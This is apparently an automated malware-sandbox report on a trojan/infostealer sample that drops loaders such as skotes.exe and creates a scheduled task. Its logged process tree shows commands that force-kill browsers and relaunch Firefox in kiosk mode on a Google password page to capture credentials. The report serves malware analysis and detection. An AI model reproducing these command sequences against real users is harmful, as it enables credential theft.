Source: unknown	Network traffic detected: HTTP traffic on port 59950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59857
Source: unknown	Network traffic detected: HTTP traffic on port 59879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59860
Source: unknown	Network traffic detected: HTTP traffic on port 59936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 59905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 59848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59906
Source: unknown	Network traffic detected: HTTP traffic on port 59951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59909
Source: unknown	Network traffic detected: HTTP traffic on port 59945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59902
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59905
Source: unknown	Network traffic detected: HTTP traffic on port 59871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59871
Source: unknown	Network traffic detected: HTTP traffic on port 59939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59918
Source: unknown	Network traffic detected: HTTP traffic on port 59860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59917
Source: unknown	Network traffic detected: HTTP traffic on port 59948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59910
Source: unknown	Network traffic detected: HTTP traffic on port 59877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59883
Source: unknown	Network traffic detected: HTTP traffic on port 59853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59880
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59922
Source: unknown	Network traffic detected: HTTP traffic on port 59910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59936
Source: unknown	Network traffic detected: HTTP traffic on port 59858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59938
Source: unknown	Network traffic detected: HTTP traffic on port 59915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59933
Source: unknown	Network traffic detected: HTTP traffic on port 59909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59941
Source: unknown	Network traffic detected: HTTP traffic on port 59932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59901 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59847 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59855 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:59906 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:59918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:59917 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:59939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:59941 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: c86e5fe17c.exe, 0000000A.00000002.3018807522.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_33530e62-b
Source: c86e5fe17c.exe, 0000000A.00000002.3018807522.0000000000BA2000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_4d52da8e-b

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name:
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name: .idata
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name:
Source: skotes.exe.3.dr	Static PE information: section name: .idata
Source: skotes.exe.3.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: 275cb7a9a2.exe.6.dr	Static PE information: section name:
Source: 275cb7a9a2.exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 544ed086e5.exe.6.dr	Static PE information: section name:
Source: 544ed086e5.exe.6.dr	Static PE information: section name: .rsrc
Source: 544ed086e5.exe.6.dr	Static PE information: section name: .idata
Source: 544ed086e5.exe.6.dr	Static PE information: section name:
Source: IM4G4OFDR8U7L3FGHM3.exe.7.dr	Static PE information: section name:
Source: IM4G4OFDR8U7L3FGHM3.exe.7.dr	Static PE information: section name: .idata
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name:
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name: .idata
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: section name:
Source: 8Z32J2RQ40P4PPMYF6S72.exe.9.dr	Static PE information: section name:
Source: 8Z32J2RQ40P4PPMYF6S72.exe.9.dr	Static PE information: section name: .idata
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name:
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name: .idata
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981081014890282
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982012091280654
Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe.0.dr	Static PE information: Section: edfilslq ZLIB complexity 0.9943063624437781
Source: skotes.exe.3.dr	Static PE information: Section: ZLIB complexity 0.9982012091280654
Source: skotes.exe.3.dr	Static PE information: Section: edfilslq ZLIB complexity 0.9943063624437781
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9981081014890282
Source: 275cb7a9a2.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9981081014890282
Source: random[1].exe0.6.dr	Static PE information: Section: cbbjugzk ZLIB complexity 0.9947032003238927
Source: 544ed086e5.exe.6.dr	Static PE information: Section: cbbjugzk ZLIB complexity 0.9947032003238927
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9982012091280654
Source: PP98OPFFP28IWX5W.exe.7.dr	Static PE information: Section: edfilslq ZLIB complexity 0.9943063624437781
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9982012091280654
Source: AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe.9.dr	Static PE information: Section: edfilslq ZLIB complexity 0.9943063624437781

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@83/29@83/14

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5028:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7452:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7092:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4952:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7508:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2796:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2074444862.0000000005526000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2076463344.0000000005507000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2088691567.0000000005528000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2088780286.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2848919829.00000000058CA000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834671759.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2834378737.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000007.00000003.2849025798.00000000058BF000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2971761868.0000000005D56000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2972275372.0000000005D37000.00000004.00000800.00020000.00000000.sdmp, 275cb7a9a2.exe, 00000009.00000003.2985065641.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 39%
Source: file.exe	Virustotal: Detection: 51%

Source: GXK4CGNQC97BZAH5XF5VF7CI8.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe "C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe"
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe "C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe "C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe "C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe "C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe"
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe "C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2112 -prefMapHandle 2104 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b307a6ad-5f41-4ff3-b9e1-80e7264b3011} 4724 "\\.\pipe\gecko-crash-server-pipe.4724" 16d5446f110 socket
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process created: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe "C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1003088001\num.exe "C:\Users\user\AppData\Local\Temp\1003088001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4316 -parentBuildID 20230927232528 -prefsHandle 1204 -prefMapHandle 4052 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d9bcfe38-4f3d-480f-9d5a-656077f94da9} 4724 "\\.\pipe\gecko-crash-server-pipe.4724" 16d66a90910 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe "C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe"
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process created: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe "C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe"
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1003088001\num.exe "C:\Users\user\AppData\Local\Temp\1003088001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
